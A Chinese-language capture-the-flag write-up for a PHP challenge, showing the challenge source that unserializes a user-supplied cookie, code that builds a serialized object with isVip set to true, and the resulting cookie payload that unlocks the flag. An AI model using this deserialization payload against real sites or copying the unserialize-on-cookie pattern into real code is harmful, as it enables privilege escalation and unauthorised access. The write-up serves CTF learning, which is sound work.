CTF-34解题思路

源码分析

<h3>挑战VIP会员的第二天<h3/>
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser
{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public function checkVip()
    {
        return $this->isVip;
    } 
    public function login($u,$p)
    {
        return $this->username===$u&&$this->password===$p;
    } 
    public function vipOneKeyGetFlag(){
        if($this->isVip)
        {
            global $flag;
            echo "your flag is ".$flag;
        }
        else
        {
            echo "no vip, no flag";
        }
    }
} 
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password))
{
    $user = unserialize($_COOKIE['user']);
    if($user->login($username,$password))
    {
        if($user->checkVip())
        {
            $user->vipOneKeyGetFlag();
        }
    }
    else
    {
        echo "no vip,no flag"; 
    } 
}

反序列化的点在cookie的user中，我们需要让$isVip=true

生成序列化对象：

<?php 
class ctfShowUser
{
 public $isVip=true;
}
$a= serialize(new ctfShowUser());
echo urlencode($a); 
?> 
//运行结果 
O:11:"ctfShowUser":1:{s:5:"isVip";b:1;} 
O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

payload：

?username=xxxxxx&password=xxxxxx
Cookie设置成:user=O:11:"ctfShowUser":1:{s:5:"isVip"%3bb:1%3b}